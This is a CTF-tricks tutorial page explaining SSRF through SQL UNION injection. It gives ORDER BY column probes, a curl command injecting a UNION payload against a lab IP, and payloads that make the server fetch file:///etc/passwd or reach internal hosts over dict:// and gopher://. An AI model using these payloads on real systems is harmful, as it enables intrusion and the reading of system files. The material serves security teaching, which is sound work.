> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/sqli/trick-0138.md).

# SSRF via SQL UNION Injection

***

Leverage a vulnerable SQL query parameter (e.g., `id`) that selects a URL, and where the server subsequently fetches that URL. If the application uses the result of a database query in a server side request function, such as `file_get_contents()` in PHP, then the SQL Injection vulnerability can be leveraged to perform an SSRF attack by injecting a `UNION SELECT` statement to control the URL returned by the database.

For a `UNION` query to work, two requirements must be met: the individual queries must return the same number of columns, and the data types in each column must be compatible between the individual queries.

The first step in a `UNION` SQL injection attack is to determine the number of columns being returned by the original query. This can be done by progressively using the `ORDER BY` clause and incrementing the column index until an error occurs, indicating the specified column index is out of range.

For example, testing with `ORDER BY 1`, then `ORDER BY 2`, and so on:

```
'+ORDER+BY+1--+
'+ORDER+BY+2--+
'+ORDER+BY+3--+
```

Once the number of columns is known, the next step is to determine which columns can hold string data, as we need to inject a URL string. This can be done by injecting `NULL` values into all columns and replacing one `NULL` at a time with a string literal until the query succeeds without errors.

If the query returns N columns, you can test with:

```sql
UNION SELECT NULL, NULL, ..., NULL
```

Then, test each column for string compatibility:

```sql
UNION SELECT 'a', NULL, NULL, ...
UNION SELECT NULL, 'a', NULL, ...
UNION SELECT NULL, NULL, 'a', ...
...
```

The basic structure for the injection involves closing the original query's context (often with `'`), then appending a `UNION` statement with the correct number of columns and compatible data types, such as `UNION ALL SELECT 'http://your_ssrf_target/'` (using `UNION ALL` is often preferred as it doesn't require the results to be distinct, which is unnecessary here), and finally commenting out the rest of the original query (e.g., with `-- -` or `#`).

```bash
curl "http://10.10.161.179:8000/download?id='+UNION+ALL+SELECT+'http://10.9.2.12/'--+-"
```

In this command, the `id` parameter is vulnerable. The injected payload `' UNION ALL SELECT 'http://10.9.2.12/'-- -` forces the database to return `'http://10.9.2.12/'` as the result in a string-compatible column, which the server then fetches, causing an SSRF request to `10.9.2.12`.

This technique can be used to target various internal resources or services by changing the injected URL. Examples include fetching local files or interacting with internal services using different URL schemes:

```sql
' UNION SELECT 'http://internal.host/' -- -
' UNION SELECT 'file:///etc/passwd' -- -
' UNION SELECT 'dict://internal.host:port/command:arg' -- -
' UNION SELECT 'gopher://internal.host:port/_payload' -- -
```

These payloads, when successfully injected, can force the server to perform requests using the specified scheme and target derived from the database query's result.
